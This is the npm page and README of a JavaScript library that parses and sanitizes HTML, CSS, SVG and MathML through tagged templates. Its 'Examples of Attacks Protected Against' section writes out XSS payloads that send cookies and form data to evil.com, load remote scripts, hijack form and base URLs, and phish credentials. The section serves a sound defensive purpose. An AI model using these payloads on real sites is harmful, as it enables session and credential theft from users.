@aegisjsproject/parsers

0.0.8 • Public • Published

@aegisjsproject/parsers

A collection of secure & minimal parsers for HTML, CSS, SVG, MathML, XML, and JSON

CodeQL Node CI Lint Code Base

GitHub license GitHub last commit GitHub release GitHub Sponsors

npm node-current npm bundle size npm

GitHub followers GitHub forks GitHub stars Twitter Follow

Donate using Liberapay


Benefits

What is This?

This is a lightweight (as little as 6.4Kb, minified and gzipped) library for parsing various kinds of content using tagged template literals.

It makes creating UI components, icons, and stylesheets easy, more secure, and reusable. No framework required, though it should be compatible with any client-side framework (no SSR - unless a full DOM implementation is provided).

It also sanitizes inputs to protect against Cross-Site Scripting (XSS) attacks, much like DOMPuriy. It provides a safer alternative to innerHTML and using <style>s and protects against XSS attacks by removing dangerous elements and attributes, and even filtering out dangerous links such as javascript: URIs.

[!IMPORTANT] While this library, the Sanitizer polyfill, and eventually the Sanitizer API built into browsers do aim to reduce the risks involved in creating things on the web, it should not be assumed that it makes your site immune.

A Quick Example

import { html, css } from '@aegisjsproject/parsers';

document.querySelector('.container').append(html`
  <h1>Hello, World!</h1>
`);

document.adoptedStyleSheets = [css`
  :root {
    box-sizing: border-box;
  }
`];

Web Component Example

import { template } from './template.js';
import { base, dark, light } from './theme.js';
import { btnStyles, cardStyles } from './styles.js';

class MyComponent extends HTMLElement {
  #shadow;

  constructor() {
    super();

    this.#shadow = this.attachShadow({ mode: 'closed' });
    this.#shadow.append(template);
    this.#shadow.adoptedStyleSheets = [base, dark, light btnStyles, cardStyes];
  }
}

customElements.define('my-component', MyComponent);

[!WARNING] The Sanitizer API is still being developed, and could change. Until the API is stable, this project will remain pre-v1.0.0

Examples of Attacks Protected Against

<!-- Steals cookies on click -->
<a href="javascript:fetch('https://evil.com/?cookie=' + encodeURIComponent(document.cookie))">Steal Cookie</a>

<!-- Another way of stealing cookies -->
<button onclick="fetch('https://evil.com/?cookie=' + encodeURIComponent(document.cookie))">Steal Cookie</button>

<!-- Steals data from any submitted form -->
<script>
  document.forms.forEach(form => {
    form.addEventListener('submit', event => {
      navigator.sendBeacon('https://evil.com/api', new FormData(event.target));
    }, { passive: true });
  });
</script>

<!-- Can execute arbitrary code -->
<script src="https://evil.com/attack.js"></script>

<!-- Trick users to giving their credentials to an attacker -->
<form action="https://evil.com/">
  <input type="email" placeholder="user@example.com" autocomplete="email" required="" />
  <input type="password" placeholder="*******" autocomplete="current-password" required="" />
  <button type="submit">Login</button>
</form>

<!-- Change where a form is submitted -->
<button type="submit" formaction="https://evil.com" form="login">Submit</button>

<!-- Changes the base for interpreting all URLs, including scripts and images -->
<base href="https://evil.com/" />
<script src="main.js"></script> <!-- Now points to "https://evil.com/main.js" -->

<!-- Executes an attack when an image loads (or errors when loading) -->
<img src="https://cdn.images.com/cat.jpg" onload="fetch('https://evil.com/?cookie=' + encodeURIComponent(document.cookie))" />

No Framework Required

Everything you need is included in bundle.min.js. That includes the polyfill for the Sanitizer API and exports everything you need. You can use this in nearly any website, directly from your console (using import()), in CodePen, etc.

Compatibility with any client-side framework you are already using depends on how that framework deals with DocumentFragments and Elements as DOM objects. Any that can render a native DOM Node should work without any struggle. For any that do not, perhaps some simple wrapper could be used.

Overview of the Parsers

html Tagged Template

This uses the Sanitizer API with a sanitizer config allowing HTML & SVG by default. It returns a DocumentFragment, allowing for parsing of multiple elements without requiring a container element to wrap everything.

It will strip out dangerous elements such as <script>, attributes such as onclick, and will also remove any javascript: or file: URI attributes for certain link-type attributes such as href.

css Tagged Template

This uses Constructable StyleSheets and returns a CSSStyleSheet, which may be used via documentOrShadow.adoptedStyleSheets.

[!WARNING] Constructable StyleSheets are not fully compatible with CSS Custom Properties. You may use any that are set elsewhere, but you cannot set new ones.

/* Works */

.foo {
  color: var(--my-color, red);
}

/* Does not work */

.foo {
  --my-color: red;
}

svg Tagged Template

This uses Document.parseHTML() with a sanitizer config allowing SVG elements and attributes, using the correct namespaces. It returns an SVGSVGElement.

math Tagged Template

This uses Document.parseHTML() with a sanitizer config allowing MathML elements and attributes, using the correct namespaces. It returns an MathMLElement.

xml Tagged Template

This is just a simple wrapper function using new DOMParser().parseFromString(str, { type: 'application/xml' }). It does not provide any additional security, only a more convenient way of parsing XML.

json Tagged Template

This is also just a convenient wrapper that provides no security benefits. It just calls JSON.parse().

Reusable Components and Styles

Write once and use anywhere! You can event put them in a module script and export components, styles, and icons.

import { html, css, svg } from '@aegisjsproject/parsers';

export const btnStyles = css`.btn {
  background-color: #8cb4ff;
  color: #fafafa;
  border-radius: 6px;
}`;

export const closeIcon = svg`<svg width="12" height="16" viewBox="0 0 12 16" fill="currentColor">
  <path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"/>
</svg>`;

export const someBtn = html`<button class="btn" popovertarget="popover">Click Me!</button>`;

export const popover = html`<div id="popover" popover="auto">
  <button type="button" popovertarget="popover" popovertargetaction="hide">${closeIcon}</button>
  <p>Bacon ipsum dolor amet pastrami sirloin kielbasa tenderloin.</p>
</div>`;

[!TIP] Store your color palette in perhaps a palette.js module to make it easier to keep designs consistent.

Importing from Modules

import { showBtn, popover } from './template.js';
import { styles } from './style.js';
import { btnStyles, darkTheme, lightTheme } from '../shared-styles.js';

customElements.define('my-component', class MyComponent extends HTMLElement {
  constructor() {
    super();
    this.attachShadow({ mode: 'open' });
    this.shadowRoot.append(someBtn.cloneNode(true), popover.cloneNode(true));
    this.shadowRoot.adoptedStyleSheets = [styles, btnStyles, darkTheme, lightTheme];
  }
});

Composing Components via Functions

Another great use would be creating a function that returns a component that uses data from its arguments:

export const createComment = ({ username, userId, date, body }) => html`
  <div class="comment">
    <div class="comment-header">
      Posted by <a href="/users/${userId}">${username}</a> on <time datetime="${date.toISOString()}">${date.toLocalseString()}</time>
    </div>
    <div class="comment-body">${body}</div>
  </div>
`;

[!WARNING] Although the Sanitizer API does a lot to protect against XSS attacks, it would still be a good idea to create a more restricted parser that only allows for very limited tags and attributes.

[!TIP] Reusing Parsed HTML, SVG, & MathML

Be aware that the usual rules of appending nodes applies to the DocumentFragments and Elements that are returned. This means that, if you append them in multiple places, they will only be moved instead of copied. If you need to append more than once, you will have to use node.cloneNode(true).

This does not apply to CSSStyleSheets since adoptedStyleSheets allows sharing, so cloning is not necessary.

This project relies on @aegisjsproject/sanitizer to provide Element.prototype.setHTML() & Document.parseHTML(). While it is included as a dependency, the polyfill is not loaded by default, except for in bundle.js and bundle.min.js. This is to avoid bloating bundles with multiple copies, as well as to allow loading any different polyfill should you choose.

When not using the bundle, it is best to import the polyfill as a separate <script>:

[!IMPORTANT] Be sure to load the polyfill before any script using the parsers.

<!-- Note: The version and `integrity` are not necessarily current -->
<script referrerpolicy="no-referrer" crossorigin="anonymous" integrity="sha384-OUI/F1tbQMDz0u/Yf2w+15JU5U5sQzji2Do4pFQIBI7Zc5B5j0LnOoOjA4HpBCwp" src="https://unpkg.com/@aegisjsproject/sanitizer@0.0.7/polyfill.min.js" fetchpriority="high" defer=""></script>

However, you may also include it in your modules should you choose:

// ES Module with importmap
import '@aegisjsproject/sanitizer/polyfill.min.js';

// ES Module with full URL
import 'https://unpkg.com/@aegisjsproject/sanitizer@0.0.7/polyfill.min.js';

// CommonJS
require('@aegisjsproject/sanitizer/polyfill');

Use as ES Module with importmap

[!IMPORTANT] Please be aware that <script type="importmap"> falls under script-src in Content-Security-Policy. As such, if you use CSP and do not allow 'unsafe-inline', you will need to add a nonce="examplerandomstring" on it and add 'nonce-examplerandomstring' to script-src. Or, you could use a hash/integrity/SRI, but be aware that it will be invalid if a single character changes.

<script type="importmap">
  {
    "imports": {
      "@aegisjsproject/parsers": "https://unpkg.com/@aegisjsproject/parsers[@:version]",
      "@aegisjsproject/parsers/": "https://unpkg.com/@aegisjsproject[@:version]/parsers/",
      "@aegisjsproject/sanitizer": "https://unpkg.com/@aegisjsproject/sanitizer@0.0.7/polyfill.min.js",
      "@aegisjsproject/sanitizer/": "https://unpkg.com/@aegisjsproject/sanitizer@0.0.7/"
    }
  }
</script>

Importing Only What is Necessary (ES Modules Only)

import { html } from '@aegisjsproject/html.js';
import { css } from '@aegisjsproject/css.js';
import { svg } from '@aegisjsproject/svg.js';

Advanced Usage with Custom Sanitizer Config

import { createHTMLParser } from '@aegisjsproject/parsers/html.js';
import { createCSSParser } from '@aegisjsproject/parsers/css.js';

const html = createHTMLParser({
  elements: ['span', 'div', 'p', 'a', 'pre', 'code', 'blockquote', 'b', 'i'],
  attributes: ['class', 'id', 'href'],
  comments: false,
});

const css = createCSSParser({
  media: '(prefers-color-scheme: dark)',
  disabled: false,
  baseURL: document.baseURI,
});

[!IMPORTANT] Via npm i and CommonJS/require(), only the main module is transpiled to CommonJS. You cannot require() specific scripts using CommonJS.

// Load the polyfill
require('@aegisjsproject/sanitizer/polyfill');
const { html } = require('@aegisjsproject/parsers');

Content-Security-Policy and TrustedTypesPolicy

If you are importing the module or bundle from unpkg.com, you will need to allow that in your script-src. If you installed it locally, you should not need any new sources allowed and, assuming no external scripts are used, can simply use 'self'.

You will, however, require either a hash or nonce if you use an importmap, since that is governed by script-src and would be considered 'unsafe-inline', and it cannot be external - it MUST be an inline-script.

If you use Trusted Types, however, you will at minimum need to allow aegis-sanitizer#html, as this policy is used internally for parsing the raw strings. In the future, a polyfill for the Trusted Types API will also be provided, and that will require empty#html and empty#script for trustedTypes.emptyHTML and trustedTypes.emptyScript respectively.

A full CSP might look like this:

default-src 'none';
script-src 'self' https://unpkg.com/@aegisjsproject/ 'sha384-qOnpoDjAcZtXfanBdq59LK71K0lxdJmnLrSCdgYcsxL4PrFIFIpw79PfBnEwlm+M';
style-src 'self';
font-src 'self';
img-src 'self';
connect-src 'self';
trusted-types empty#html empty#script aegis-sanitizer#html;
require-trusted-types-for 'script';

Package Sidebar

Install

npm i @aegisjsproject/parsers

Weekly Downloads

16

Version

0.0.8

License

MIT

Unpacked Size

111 kB

Total Files

20

Last publish

Collaborators

  • shgysk8zer0